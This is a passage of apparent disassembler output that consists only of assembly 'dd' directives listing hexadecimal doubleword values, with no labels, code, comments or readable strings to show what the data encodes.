		dd 6FCD3405h, 3D102DB6h, 0B065AC14h, 138200BEh,	19DCAC9Ah
		dd 0A1755Dh, 0F5BD4609h, 6F4D8DD8h, 86B39E00h, 0E3E6D4FFh
		dd 993800EDh, 16AE0B60h, 0E700F0FCh, 0C0F72824h, 1DED8F5Ch
		dd 409B99CFh, 0EBC22E93h, 0CA006F71h, 329CAD06h, 1EE9C9AFh
		dd 0C7187E54h, 30F087E5h, 1A96111Ch, 0CE349118h, 77FD67B8h
		dd 3977E8ABh, 0DB007116h, 9B1D5C6Fh, 0F0030A5h,	60F0C7D3h
		dd 0E86DA3h, 4716B03Ah,	0D874EC7Eh, 94AE9B00h, 9F15D2E3h
		dd 66FF00F1h, 0BA26D48h, 38008A9Ch, 519264DDh, 7C77EA7h
		dd 33EF3CBDh, 80C88552h, 7DD5A40Ah, 6766001h, 486D0307h
		dd 4A00186Dh, 81E1BE25h, 0D703F7CEh, 215B827Eh,	0EF4DA0DCh
		dd 0CC926B4h, 471900B9h, 17F01AE8h, 1867F901h, 0D61D0746h
		dd 1F4833D4h, 0D86E6095h, 0DC2258A3h, 0F3463201h, 636A5431h
		dd 200BC29h, 1EA8BB4Ch,	0CF0EE170h, 82FD6F88h, 50A63244h
		dd 0F90925C8h, 409644A4h, 1757018h, 38D0381h, 77B1EB58h
		dd 0C871CDE0h, 91FCA800h, 619F2DF7h, 0B5B3A52h,	0CB6AE880h
		dd 0DB4E9763h, 0B214BD01h, 5B020887h, 27BFFBC0h, 3C07AEA2h
		dd 66D37327h, 36466AC8h, 0B6B7ED0Fh, 0F53320D1h, 7CD23AC5h
		dd 5D5F1E04h, 0FCFC0ABh, 6B2E0592h, 0A5604600h,	296ABFFAh
		dd 0C1B20137h, 9B523C74h, 0EFDB709Ah, 0BB351200h, 6C275146h
		dd 0DC931663h, 0C6C1003Fh, 8BACA296h, 0BE53AF1Dh, 41BD2483h
		dd 9C49E0B2h, 7980077Ah, 4076AE5Dh, 4FE9B43Bh, 84C47C07h
		dd 0A530EC48h, 75A47E7Dh, 3B9F288h, 29747F62h, 8CE081A3h
		dd 0DF079AD3h, 66745BDh, 1CFEAB90h, 0EC210EDDh,	815DB86Eh
		dd 503B9322h, 6455D0DCh, 15478600h, 9E70A1AAh, 1F130690h
		dd 880F223h, 31C7B00h, 0C65A3529h, 0F3C31FB3h, 0D2F60FC2h
		dd 3771EFE0h, 7B0E3C1Dh, 80552A6Eh, 0B5832077h,	0C0A37550h
		dd 5A668010h, 98309FD1h, 4EFC217Ch, 0C64F18E3h,	7347280Fh
		dd 318CFh, 0C5CFB02h, 52F70037h, 0DA175FCBh, 0E1F4663h
		dd 0AB808CEAh, 0A8160438h, 0A528C37Eh, 8AA31303h, 89B9D8F0h
		dd 40AAE30Ch, 30A549CAh, 15210FCBh, 19D896A8h, 0F931B710h
		dd 49FE8B00h, 6644690Eh, 409A4092h, 0C38CB85h, 0A0DF2916h
		dd 0BA30B738h, 13B83089h, 0A6311CD6h, 0B81857BFh, 370901CEh
		dd 7DF7963Eh, 5828599Fh, 0A4D38161h, 0A2183660h, 3E6AF9Bh
		dd 0A84A10FEh, 0DAD94EB6h, 301CC06Ah, 0D3C8CB63h, 0DF310FFCh
		dd 5E3DB8Eh, 0C4664F40h, 18704418h, 600EE873h, 0A00FA53h
		dd 0C93CED7Dh, 0C1BA050h, 33461123h, 222895B8h,	24104C2Fh
		dd 677A0DC9h, 0C87D4808h, 29948401h, 0B8BE78CBh, 92195B33h
		dd 57D1C8F0h, 0A5362A06h, 3FA1D8DFh, 58E0C9B7h,	2709AA20h
		dd 4B469F00h, 51C40A44h, 7DDA0C88h, 954840A9h, 0A4C11D2Ah
		dd 0CC94DF28h, 5EA3AF10h, 0F101A50Ah, 3CD3112Ch, 6B00FEA8h
		dd 76F3C647h, 3C088B1h,	0D9668B5h, 0C0DD857Ch, 5C952B3Dh
		dd 993F6C1Fh, 6206FCA9h, 0E0619A11h, 9875002Ah,	0BACB4E05h
		dd 4B7DA0FFh, 330A10F4h, 0AC3D5D7Bh, 44F52A0Ah,	53D89B00h
		dd 0D9163Bh, 416D1725h,	0F7E4EEC0h, 97A0CF63h, 8874924Dh
		dd 2A82CCB4h, 0A02C9096h, 0A62258B8h, 5E07FBEh,	3B7FE2DCh
		dd 0F3E0483Ch, 0B8023080h, 0B16B1Fh, 3C245D7Ah,	331698ACh
		dd 0C7949E50h, 7330B950h, 1DE15760h, 0F347B10h,	0EAEBC1A8h
		dd 6B06DB00h, 0CD026007h, 3AFEDF5Bh, 95208296h,	0E2C09108h
		dd 0B8B7088Ch, 3D007C11h, 4D934AE1h, 30349E87h,	0EB695973h
		dd 27001ADAh, 2057B49Ah, 4BC0A81h, 9C5BA675h, 0A74950Bh
		dd 45E0EDB8h, 0E9804026h, 33C68943h, 6B5CD14h, 0D3E502BCh
		dd 0A099FBDFh, 4893D98h, 743E1E9Ch, 8CEA55A1h, 5ECAFF00h
		dd 0E2C8FD80h, 92CB3901h, 0EC3C70FAh, 0A9109424h, 0C0D020F4h
		dd 1C9B8D1h, 41E40321h,	0A8D77A0Eh, 7C868090h, 52D85351h
		dd 4846C380h, 2400F4A6h, 0E973ECFDh, 748E5157h,	0EF4282Ah
		dd 96A4A118h, 943CA983h, 2FD07FDEh, 70CFCFCBh, 1212902Eh
		dd 0F04040A4h, 31FEDAD6h, 0E46CA824h, 0A274A561h, 882D9C48h
		dd 0F200EE20h, 817BFE86h, 63C5DEh, 0AF9A3CBBh, 0F60F6AC1h
		dd 576FAB04h, 4092B2C7h, 5C5C44D3h, 7202B621h, 711E79ACh
		dd 0E717D0A2h, 83AE1522h, 0F5734Ch, 256830C9h, 2D60E99Dh
		dd 0AD8D1302h, 69896B55h, 29804208h, 84BBB05h, 38F8042Eh
		dd 0FCD9C400h, 44827957h, 0D45100E1h, 0C5D3EB1h, 0D8C49526h
		dd 7C0589BBh, 52F400E0h
		dd 0CA6BBEEDh, 828EF19h, 0D0320EA1h, 16634480h,	5E5CD52Eh
		dd 0CE191337h, 6A8CE443h, 0DEBDF0C7h, 0E9E30351h, 4FC8D410h
		dd 0A28D80Eh, 3C07907Bh, 0B08563C3h, 45B46BFBh,	9E610BB8h
		dd 0DBCC2B28h, 6C8CA0F2h, 98072E90h, 0EE9084EDh, 9747680h
		dd 9998F0F4h, 0AD15A803h, 0D8A027ADh, 1B7D2F80h, 0B09D3DD3h
		dd 9142844h, 563C04CCh,	0C7DAE729h, 46AAB5B2h, 0F11216FCh
		dd 0CA20534Ch, 28069C62h, 0C259D047h, 722A5341h, 0B9E46048h
		dd 0F2A51984h, 32B7C1F5h, 24ED01F4h, 44AAE2B2h,	0BAAB5189h
		dd 64A2FCB2h, 0A8A0C912h, 4C727889h, 0F3888B00h, 0CCF81364h
		dd 90E0AA1Ah, 94B1968h,	957E405h, 9E58B488h, 5144BC26h
		dd 95006491h, 64BAE1DCh, 2B972401h, 0CC9A44B0h,	6F0F3C4Ch
		dd 404B6841h, 6C58098Ch, 5320C5A1h, 0D500019h, 0F56B1CAEh
		dd 0EDA0861Fh, 0BF8A5A82h, 40270494h, 0A4E9C167h, 1BFB0056h
		dd 4604A882h, 4950B631h, 400097D8h, 43C0B923h, 291B8BDCh
		dd 4BC83C75h, 90952821h, 0C1C36C0h, 91FE3B15h, 0A95024A5h
		dd 0B7B14C1Ch, 39892460h, 3EABFBh, 0D7BA20FFh, 0D23A820Eh
		dd 3D369900h, 8640A169h, 0CAB801ADh, 4D3EA7AEh,	0CC2204A9h
		dd 0A49020FBh, 0A00E04D7h, 89A192ABh, 0F3F000EEh, 24FD33DDh
		dd 0C51CF635h, 68F42758h, 0E880DC29h, 926CF7DEh, 1E5BF4B4h
		dd 0A34FBEh, 63BFEFAh, 5F596AC2h, 321218A8h, 1F423750h
		dd 0C2FD7E67h, 0CDC51768h, 232E7CC8h, 0DF017B98h, 99A11F75h
		dd 8848D703h, 0C1FD6019h, 848B390Ah, 0ED8E7602h, 6401995Eh
		dd 506F5DDCh, 92D12B09h, 98A94838h, 0DE106D00h,	0F4BE34A8h
		dd 66910487h, 8CA073CBh, 6195AFD8h, 0F048A593h,	26B612F2h
		dd 95A02025h, 3C91B989h, 93963605h, 7C0A88CCh, 0A729C15Fh
		dd 365D2A25h, 9E7E01DCh, 8E8F4B32h, 560C49C6h, 1230F472h
		dd 0FA1A3779h, 3D0A1C00h, 7AC82E07h, 8ABD0143h,	6421356Dh
		dd 782289h, 0FD906828h,	1413DACh, 0BB27534Fh, 37093FDEh
		dd 0D2B715D4h, 4EFC008Ch, 0CAA73C8Eh, 0C83201BDh, 64FEF45Bh
		dd 251F200Fh, 55C40C13h, 1CDC384Ah, 4AD54C00h, 1D8C017Ah
		dd 0DFC212E4h, 6ED24F54h, 18AA2C20h, 2B6B939Dh,	396800F9h
		dd 0FC1357A8h, 60B4B2B8h, 91291A5h, 9B007679h, 7ED98284h
		dd 5D89A76Ah, 0EA9D50EAh, 0DEA800BCh, 52C732BEh, 8D085814h
		dd 2836A22h, 0D87B8497h, 0E1E8B050h, 0F254895Ch, 0DEC8AF6Ah
		dd 3390220h, 2B29CB10h,	9AE7048h, 0B4F43C81h, 21020026h
		dd 6805CD24h, 0A30A8D51h, 0F8CB2C2Eh, 90C924BFh, 7FDC2AC0h
		dd 15F209D6h, 7C100E60h, 0AD00FC6Fh, 883D3A8Ch,	55F481A2h
		dd 0FED8499h, 5D4DD1F3h, 0C519C4h, 0F20C7D74h, 4CBCA607h
		dd 5F7B9A1Bh, 44898570h, 3C4C2821h, 8A5E454Eh, 9CD37D11h
		dd 69AA30BAh, 4327F9h, 670998B7h, 0F71F20CDh, 0B2EDCA0Bh
		dd 6CB0182Ah, 0F4E818E2h, 0D2A5399Eh, 0BB3A1272h, 0A975002Dh
		dd 5DF51068h, 525E0A4h,	0A704B47Ch, 0B7689247h,	0D8045852h
		dd 780D3E70h, 40D010A0h, 3D00A792h, 259D4B52h, 3846E3h
		dd 2F9E8C4Dh, 2015649Fh, 0A4F5352Ch, 0C198CC40h, 58CD161Ah
		dd 39DE0023h, 0C42B531Bh, 362D931Fh, 908BCACh, 27620F37h
		dd 6492D66Bh, 0FF586400h, 0D43CD2F7h, 63918095h, 214E1EDBh
		dd 0DD2D059Fh, 0C8CEEB3Dh, 0D44CAC8h, 0AF421C21h, 0CC0FC97Fh
		dd 0F6591C20h, 0AE006677h, 5029BDDCh, 1F5B2AC9h, 0A5D39B26h
		dd 0F112E801h, 0C0308061h, 28254731h, 22583B50h, 0FBB56D00h
		dd 87FC1D7Eh, 0E2CE140Ah, 6C02A0A4h, 0CAFFCBDDh, 15A83020h
		dd 2795091Dh, 84CC251h,	0DFE48001h, 64F15AC8h, 3DB43205h
		dd 10CAEC51h, 2C017712h, 27879997h, 6AB58034h, 0C0946056h
		dd 0A7558A23h, 56D7D25h, 709D7400h, 48028048h, 244BC4DDh
		dd 14492A4h, 7D03B072h,	0A371773Fh, 76EAA040h, 10210046h
		dd 0E8365142h, 0C5002AA2h, 0F74A1A7h, 18403387h, 31AC71D7h
		dd 0DB00D23Fh, 0AAB755CBh, 195992D9h, 595E151Dh, 0CE51139h
		dd 3C5207E4h, 3C507A72h, 8C5788AFh, 819F1C00h, 102315ABh
		dd 5583303Ah, 7C22C371h, 0B9EEE403h, 3E26C15Dh,	0A9B14A18h
		dd 803C8141h, 37C53608h, 7A29C3Bh, 0BAD30270h, 1830EC63h
		dd 5B91F560h, 8BDDA4h, 12EF756Eh, 232A1A0Ch, 4D0EA52Ch
		dd 61543000h, 18933DAh,	0D6EA6818h, 9F8A3537h, 0F601C49h
		dd 676E466h, 0CA3FF5C0h, 0BE00BF42h, 1C65D922h,	3036EF8Dh
		dd 4098B667h, 0D8036D88h, 346BC12h, 0ED5CE850h,	0EA781423h
		dd 613188E2h, 103D4FD9h, 0D1DFEEh, 0C036AE56h, 0D3E9EB8Ah
		dd 0BCDEE4E1h, 0CA5158C3h, 77600FE8h, 84352F33h, 7AB44C28h
		dd 0C060DE81h, 9D495A41h, 5100D076h, 958654Dh, 0D61D1h
		dd 85441A25h, 774367F6h, 0B6598A00h, 5893DFFDh,	31B10C65h
		dd 0E048B050h, 0FCB47409h, 0B1258CD3h, 3F10F7D2h, 0EC6146B6h
		dd 38521890h, 3E731880h, 0FFBF7BF1h, 0E1E2FB0Ch, 84BDB1A3h
		dd 0A1F15340h, 0F008284h, 8F31898Bh, 4A6720D6h,	0C3599Dh
		dd 63AF4462h, 0F42C135Bh, 67010531h, 7BB51AFFh,	30489C45h
		dd 8BC381B2h, 829AA2F4h, 0BC948A10h, 0D9CCAC7Bh, 0F8051E51h
		dd 0C04C2439h, 5341CEC9h, 1793CD00h, 0A94C45DDh, 6428C5C6h
		dd 19C045EDh, 0C32C0833h, 0A0CB1842h, 3E4A02CCh, 5CE019F4h
		dd 5125F93Fh, 80B367CCh, 6256D331h, 3227081h, 3D47464Dh
		dd 5090B4D4h, 94A94AB9h, 0E7C5F4E0h, 0A47BD624h, 26603341h
		dd 73850ABh, 2058A923h,	0BFF0A0ABh, 5F2B1B0Ah, 0BD8CD451h
		dd 334A29DEh, 0E2F13E6Bh, 2F165110h, 51806D88h,	0E257B60Fh
		dd 0C2A3062Ch, 30C121F0h, 50538A0Ah, 10B0D034h,	91A7D65Eh
		dd 0B0E60810h, 0D94E5682h, 9D106814h, 0E421D432h, 0E0A89FB1h
		dd 8603627Eh, 0E838D38h, 7951282Dh, 507D1258h, 2AC11FCEh
		dd 686D5328h, 6D72854h,	84BF35FBh, 0D8808127h, 0D528F959h
		dd 8086A842h, 122D3222h, 467FC951h, 59947164h, 4514200Eh
		dd 6815001Ch, 4D43F27h,	0B84C92D7h, 5F0C9191h, 0C61C4267h
		dd 8A167E20h, 334500BCh, 0DFD8E6C7h, 0F8E86A2Dh, 7C274424h
		dd 2ABCEB94h, 0F600A847h, 70FF5D08h, 3C5A4295h,	89012C23h
		dd 0A7307F9Eh, 84A9A1DBh, 0B593A683h, 18411854h, 4FED8980h
		dd 56D01C00h, 55AFFFEEh, 52E50041h, 257E7262h, 9733A380h
		dd 7FE0C04Eh, 0EE3C1398h, 0ACE42054h, 0CA09229Ah, 91172167h
		dd 0FC50CD88h, 58FC1Eh,	0C4666852h, 1FB1C58Eh, 82EC7848h
		dd 444BB333h, 0A12D0164h, 4F46D0C5h, 5961923Ah,	84490C34h
		dd 1B1C2117h, 0DC4C45EDh, 837128A1h, 53B30308h,	35603291h
		dd 2E936115h, 0F5D739A8h, 0BCE00CA0h, 0D4238940h, 6A18A860h
		dd 0D6568195h, 7649F8C3h, 4A290C74h, 8121A6FEh,	50495160h
		dd 1B2C6Ah, 0FF479E58h,	550B71EEh, 0E0CC662Ah, 0EAB822h
		dd 0BFDDB991h, 0CA171F4Eh, 83812D65h, 0C0B44454h, 0B7B95D9Ah
		dd 0F15E0091h, 43C60B96h, 60B1ED50h, 9141710Ch,	44280019h
		dd 0C1786220h, 31D37CFh, 11D2A3D5h, 2DDCF422h, 4C582169h
		dd 1C99E514h, 7DFC2F00h, 6A3A7Ch, 2879810Dh, 0B6D6A192h
		dd 3F44ED7Fh, 0EC4522D2h, 30D1D722h, 0E6492481h, 4600C53Ch
		dd 8BC4E0EEh, 595047h, 0B3F13332h, 0B614E890h, 0C0A0A099h
		dd 26384122h, 4BA0BE3Fh, 0D6EFE500h, 0E8916C46h, 7118F110h
		dd 0EEF911A8h, 9FD86300h
		dd 47B8C2D1h, 6FEF003Fh, 0E3ABA21Dh, 0FE547B2Bh, 46045CFCh
		dd 0F66DB4E1h, 7460C4C8h, 804789F9h, 49998FD9h,	0F62B8C7h
		dd 0BE5E9C68h, 0B834BC0h, 5561A21Ah, 77502DB9h,	5DE9D2C9h
		dd 0A8245C23h, 38484EC8h, 0DBC14426h, 0C1A6C087h, 66188CF8h
		dd 0EB004629h, 863CBE21h, 6954B14h, 0B2492DBh, 5B4CB1C2h
		dd 0A301B0F4h, 742A00C6h, 4CB7FD85h, 63240C9Eh,	0A8A0687Ah
		dd 0D86117E8h, 37085099h, 9869A602h, 8DB05D79h,	995318C9h
		dd 27BF826h, 0A4413FE8h, 1498A7BDh, 8600CBF1h, 14B55445h
		dd 0F85A0195h, 382129ACh, 3418168Ch, 3EB482F4h,	0DB00CC44h
		dd 0BA903089h, 0B3DF0BAFh, 76161770h, 8A111914h, 0AD0052E6h
		dd 0E117D770h, 40954E4Bh, 90A00FADh, 8E88B1F8h,	5CA5056h
		dd 46A8080h, 74DE9469h,	0DCD69329h, 1C485511h, 677BF722h
		dd 0E2001092h, 4F602134h, 53053Ch, 0EEC85E10h, 4DE9C316h
		dd 8EB68016h, 37B38441h, 1C62721Fh, 6636AB0Eh, 51ABD80h
		dd 54075922h, 383719FDh, 0B43890A9h, 9DA8B9AAh,	0A84920DCh
		dd 0F211C054h, 183409BAh, 76CC2516h, 2B0E92CAh,	0C7BEBDB3h
		dd 77221550h, 486CEAh, 61CF021h, 13257A5Ch, 0C890A278h
		dd 89B4D700h, 8842A97Eh, 88BD5430h, 98045462h, 677F0C8Ah
		dd 7848EF9Eh, 8500E770h, 9FFA7CB4h, 926958h, 46591F34h
		dd 19F90116h, 8D8B7518h, 84C56DD9h, 2CB7B522h, 8020E918h
		dd 240B7048h, 982AC4B6h, 0E144807Bh, 601C00D7h,	7D6A2880h
		dd 86EB5AF8h, 329C6458h, 1A911621h, 0E54C2927h,	0B3230BDh
		dd 6FDDEA03h, 10C55913h, 0C0DEC961h, 9B4C55BEh,	8429FB5Dh
		dd 3E815B3Bh, 2841BCA2h, 0DC48D2F2h, 3878C2D7h,	98229032h
		dd 0F9CC693h, 34FD3BB5h, 145C2592h, 81CB80C0h, 1D548410h
		dd 876BD400h, 0F8D53489h, 9133ECEBh, 6058858h, 4E918BBDh
		dd 90B00AFAh, 0EB65680h, 646E53h, 46BE1E47h, 505E1334h
		dd 4C4BCB4Ah, 0C2B01371h, 5806003h, 2AC00F42h, 0DFC4B12Ch
		dd 0B9B49130h, 7C8415F7h, 8DCA2070h, 0C1D227F3h, 3D01C776h
		dd 1B670A4Fh, 88DBCC34h, 0D9E45811h, 932CE3E8h,	0B38D18C1h
		dd 7829203Ch, 306BCAh, 2D5CE956h, 0F7021922h, 0BDCFEEA6h
		dd 3FF4C48Bh, 0B374BC59h, 0EC55089Ch, 57C89600h, 6C99AAh
		dd 136A3079h, 0BBF76416h, 3DC62E04h, 0BCCDFE07h, 0C32EDF5h
		dd 0D6BC3F09h, 0CB520411h, 9469107h, 28D1FABFh,	21C5B616h
		dd 0F72960h, 9BCCC324h,	8AA47499h, 0B932EA16h, 3D5B2C21h
		dd 88884B08h, 0E4D324AEh, 32E0807Ch, 0B5CA9429h, 353F79C2h
		dd 0C15A0738h, 30CDD84Ch, 23001035h, 0DFBDF5Eh,	9285E42Ch
		dd 4FD713A8h, 3FF042EFh, 3C5BE1BFh, 7C3884B8h, 0F080BD12h
		dd 0A4DF504Ah, 14A100B4h, 2DCDC5E3h, 8E5466E0h,	8A901880h
		dd 9B9D41DDh, 0F6291D00h, 0E567AE8Fh, 4428A931h, 2CBCD481h
		dd 34C8518Bh, 4BD43715h, 48264020h, 70E74C2h, 67DDCEB0h
		dd 0F9EF50A9h, 0E60463D7h, 6E855377h, 0CC401213h, 6B00C620h
		dd 8C796D14h, 44365EDDh, 2C616003h, 1A24E061h, 0E06C5824h
		dd 9841697h, 7F470028h,	0CAF4E676h, 0C4AC9A01h,	4CBC5E95h
		dd 0B1182034h, 290300D4h, 0AE190C04h, 59C97F00h, 0AB34C05h
		dd 47250D64h, 928B66Bh,	27A8406Ch, 8B737DF4h, 0A3D8DC03h
		dd 0C0C1A6D3h, 9E177B2h, 3FB36AEBh, 0CD002066h,	2487E44Bh
		dd 78A6C35Ah, 0AA9D0256h, 8D95CCD6h, 525C1CC0h,	5290893Dh
		dd 0ACFD24B8h, 6C881612h, 0BD2684C1h, 700960A1h, 0C1C0EAD0h
		dd 219F52F0h, 7C57C071h, 0D39765F3h, 2198BA02h,	0E67BD418h
		dd 6AAE45ACh, 2F20AFA1h, 0F4C20063h, 51A4ED33h,	0B813E77Bh
		dd 0C70A682h, 1BCC74h, 52BB4DB7h, 0C580166Fh, 3E911717h
		dd 0FD508C28h, 3098B714h, 628E1958h, 44A80028h,	0FEAB2690h
		dd 31699847h, 6846F8h, 0CE0EEC94h, 20F1A15h, 0EFA09600h
		dd 9390CB1Fh, 57823E6Fh, 2734F689h, 4046C49Ah, 3CC28A13h
		dd 44ED00D2h, 4874989Ch, 604EB4E5h, 560EF1F8h, 5F5D9800h
		dd 52E74661h, 19D100ACh, 8B6EA4AAh, 78075994h, 223301Dh
		dd 6D60588Ah, 3822BB84h, 7B00A2BDh, 0F38B798Ch,	0AD0755BCh
		dd 3386052Ah, 0CE20C0E9h, 5348A0E8h, 502D12D6h,	81F8464Ch
		dd 0BE07D148h, 2B69E07Eh, 25685F16h, 1480F718h,	9AD420A1h
		dd 99E2F10Fh, 81158E41h, 3C88AD64h, 0BC4CDA44h,	7BEF69CFh
		dd 398D029Ah, 15E72EC7h, 0D50B3464h, 11050FBFh,	2C727B8Ch
		dd 40A4C700h, 6595E7BEh, 29DD8D00h, 6883D1B3h, 0A88A00Dh
		dd 0E0D7E216h, 5C92580Eh, 29ED4E82h, 0C009E859h, 0E0FC48AFh
		dd 4C0D26F5h, 0B1670C9Ch, 0B7005519h, 5C27BC52h, 0B81B2DDAh
		dd 26FE7BA5h, 2D1C5605h, 0D8EF4C11h, 0E414D03Dh, 18A85BE8h
		dd 0C749E267h, 4256011Fh, 7125973Eh, 7608227Ah,	4487BCB4h
		dd 0E5B0F034h, 16E837CBh, 61769C9Fh, 0C88534DCh, 26007CE4h
		dd 57153B1Bh, 9440418Dh, 1063C04Ch, 2100BF27h, 0CB3D6FFAh
		dd 4FA8A281h, 23904EC3h, 0C0C432AAh, 0A87C4BFFh, 136CC002h
		dd 0E9382D7Dh, 5610C6A0h, 0D14EB11Bh, 5059CC47h, 94A6E81Ah
		dd 38CC0B49h, 3170E84h,	0C86C5D37h, 8A1C443h, 81FC28F9h
		dd 0E88608Ah, 8C6ED2h, 3D7E21F2h, 98B85A65h, 3667DF01h
		dd 0C8816196h, 22B44064h, 1C80EF7Fh, 7D0096DEh,	330C5FDBh
		dd 204164Fh, 0B38A875Eh, 0D2047A1Ah, 0F82C70A5h, 0EE34510Dh
		dd 714826D8h, 0F92C2D01h, 0AC34FA74h, 3D02EF4h,	0C2F5D8E8h
		dd 0C10045C3h, 3A094FBEh, 0E2DA3Dh, 4E4C297Eh, 7F59538Bh
		dd 98B061F4h, 68A8ACBBh, 96E4944h, 0DD07061Bh, 6C04B3F8h
		dd 0E78CD8Dh, 0C4814894h, 5869AA4Fh, 0F781E6CBh, 0E810715Ch
		dd 0E716C479h, 0F4908070h, 0E84C9A43h, 596348A1h, 87F0D800h
		dd 7098E3C0h, 0FBA2FA04h, 82EA9151h, 0F8D2E662h, 0B4E2420Fh
		dd 0B879AC4Fh, 0EC4D20B5h, 648AD72Ch, 242D111Dh, 3F43E1B4h
		dd 0E12479CAh, 58BA34D7h, 0F512208h, 76F8F573h,	0DB7AD4E0h
		dd 0B909AA50h, 91F90312h, 0E21034B4h, 0E9007C91h, 0D487BEBh
		dd 7A9168Bh, 0BF639C6Dh, 92FE773Bh, 0ACE689B2h,	0EFC9513Bh
		dd 0E6BE6941h, 2D09C0C0h, 3F1DE86Ah, 1C40704Ah,	39BA51C0h
		dd 83A09A5h, 14095360h,	0B096E4ECh, 0B0A76545h,	2AE43700h
		dd 33DDD62Bh, 506BEF0Ah, 0AB3C6431h, 511D4416h,	8049BCA4h
		dd 6A293D08h, 783A28E9h, 274CA6ACh, 0E83832EDh,	3A0BA145h
		dd 0A94369CFh, 9834BAFCh, 396610h, 185ECD3Ah, 0DD5DC0E2h
		dd 22808658h, 0D0D701C4h, 925CE9F0h, 68032BBh, 0A7B3B153h
		dd 41814F71h, 2B6AEE00h, 0ADFDD413h, 0F9541600h, 5CB17746h
		dd 0EC7249A3h, 0A01B7D14h, 4494D1A6h, 94675E3Eh, 0D7C07043h
		dd 8CB848F9h, 5CD625CAh, 540DC010h, 2580F8BCh, 83935D96h
		dd 0D5680053h, 617ACEEBh, 54B2DE6Dh, 3BBB24B6h,	80043F6Fh
		dd 1B9263C9h, 0B8DFD8Ch, 0D3745B5Dh, 0B85964CAh, 1675CE40h
		dd 7C2B1ED8h, 8C64C00Fh, 0DCF9395h, 0D0BD4B05h,	0B0DC1ECEh
		dd 55ECC3h, 0E2E79F9Ah,	275188BDh, 3041861Fh, 49982CECh
		dd 1BE0461h, 0A81E3F7Ah, 70DBDFCBh, 0A70571A4h,	0F7505E83h
		dd 0AC77D043h, 56D9096Fh, 7446D71Ah, 61B94960h,	295619BDh
		dd 8064C1DBh, 0B7C927C3h, 26002249h, 0B54A0169h, 0BB4ECBh
		dd 789E31F3h, 0D8DBE371h, 24DF8E12h, 0DE2F4C20h, 7AAE03F0h
		dd 2DC15E47h, 0E0793F9Ah
		dd 4EB4D809h, 11C3004Ch, 0BE8C08FEh, 0AB3B9F4Ch, 1C5680D0h
		dd 420A5789h, 2677207Dh, 142F332Dh, 7FAE002Ch, 430596B7h
		dd 7B06736Bh, 0D8093DD3h, 77FA2F30h, 0F10BCCB0h, 0E68BCA00h
		dd 45F0926Ch, 9CA5383Dh, 558C8C39h, 80D1ED42h, 965DBE02h
		dd 614923A1h, 2872E664h, 0B8C80218h, 1900D478h,	0F130A3D2h
		dd 166B5ABAh, 205E5CEDh, 0B5CF3FE4h, 0E0ED8172h, 714BBCC0h
		dd 3156DC40h, 7FF3720h,	47E6FBAAh, 1948808Eh, 0CA03A74Ch
		dd 0DEC3DE9h, 794BB1BAh, 33D7F0FFh, 943B7491h, 0E8F406Ch
		dd 68002C88h, 0F39D7B83h, 35ACCBh, 9EF9BE2Ah, 8C4885C0h
		dd 0B0CA941Ah, 7C204099h, 9FEE010Bh, 86F9D25Dh,	0A8288DFBh
		dd 22F23881h, 14716035h, 8C707140h, 52AA0A1Ah, 0A7EC131Bh
		dd 0C39794A0h, 0A800D998h, 0CC03D8B7h, 95952043h, 0F0CF5C30h
		dd 37248300h, 3607721Dh, 4EF726Fh, 0E762B5ECh, 28588923h
		dd 30275F24h, 0C95A5CA0h, 9BF80530h, 0C089D617h, 37ED4D0Ch
		dd 0C7735E77h, 0AE48ECA0h, 47005971h, 0F42F49A2h, 5E75351h
		dd 7BC1C289h, 0F358E417h, 11B52301h, 99F9A097h,	6B9FCCh
		dd 124068Dh, 740C6C27h,	38DE2501h, 0F07CD41Fh, 7030C421h
		dd 90334A50h, 8E59892Ch, 2EB383Ah, 0FB2F30D2h, 0E3AC81B1h
		dd 403CDA6Fh, 80CFA984h, 0D54F96B5h, 0EF8E2901h, 0BF948ABCh
		dd 0E3DDD448h, 27DC95E9h, 50CA0946h, 4800F2C9h,	0C58C161Ch
		dd 0DFE4265Ch, 22E4340h, 7C2F801h, 73E2EC5Bh, 0CECCF1ACh
		dd 0F43279h, 49518D95h,	0E110F5Fh, 7EE7E3A2h, 0DC43400Bh
		dd 78D233F2h, 41CCBC83h, 38AAC218h, 0B4715060h,	279D94h
		dd 6A7CB002h, 8C0012C7h, 7EBDCC98h, 26ADABC3h, 0C34D6A3h
		dd 0DB494781h, 3245271Eh, 6F119EC1h, 0F1BADF66h, 0FB307F00h
		dd 54E9DBAEh, 0E3842006h, 0EE21B45Eh, 447B0166h, 0ED775941h
		dd 0C6E04824h, 0B469A007h, 3410D87Dh, 0EC96489Dh, 1D2C00C2h
		dd 60EB63C5h, 0DE644DB1h, 0E88981B9h, 8D72E4h, 0FD5B8BE1h
		dd 964E43C4h, 0D2107801h, 0B580E071h, 307CE3E5h, 1C90EE24h
		dd 843FE05Dh, 0E4889346h, 1052144Bh, 2644963Ch,	0E94532h
		dd 6A075BE8h, 60605263h, 5CB83649h, 965E01A7h, 5051CC62h
		dd 37C795Fh, 78FF1661h,	9167C207h, 0CAFCE580h, 746800B1h
		dd 0F1230313h, 200E497h, 1715D059h, 7C1E31EFh, 6EDE1F7Bh
		dd 0E43B0E05h, 0D0E193E0h, 0FA18F422h, 0C1194DCAh, 0A387002Ah
		dd 892B665Bh, 23001E22h, 185AB061h, 3E2FCE4Dh, 0B603FB12h
		dd 0FDE1FCEDh, 0A90553B8h, 18E43F3Eh, 0F881C6CEh, 644C0195h
		dd 0F001D2E3h, 4D1980C3h, 0EBEC31AAh, 0CB7358h,	0A52285E1h
		dd 0BF08BDDEh, 80F41406h, 79303AF7h, 38ED6090h,	5B82F53Bh
		dd 7106A8DFh, 3018E038h, 0D621ECF0h, 4400F9F3h,	1527BC07h
		dd 0C0EF61EBh, 90922B49h, 0F33E3D5Ch, 639B00EAh, 0E0BDA2F5h
		dd 0DE9A003Eh, 154E0E2Dh, 90A1F83Ah, 442C40BAh,	680001D7h
		dd 2CB6515Dh, 98260361h, 7D6A782Fh, 0EBCC0E9Ch,	934AB1B4h
		dd 3B1C22CEh, 100095D6h, 764BFD66h, 0F43F1FC0h,	2AC96082h
		dd 30A86186h, 7BE97C52h, 1320B3E7h, 7280F035h, 283471ACh
		dd 889AB488h, 88E25D8Ch, 0C10022F8h, 2A23FFFAh,	1FA8B912h
		dd 38ED4E65h, 271A2900h, 36428E91h, 0F53A9F1Dh,	493FCD0Ch
		dd 441244B5h, 98EE602Ah, 984ECE00h, 3D4F8A1Bh, 5D4230A2h
		dd 0E2C85F40h, 27CB30Ch, 243238E7h, 80202869h, 140EC46Ah
		dd 462893B6h, 2B3E2C8Eh, 1B8B0028h, 0BD421FB9h,	4769C3FAh
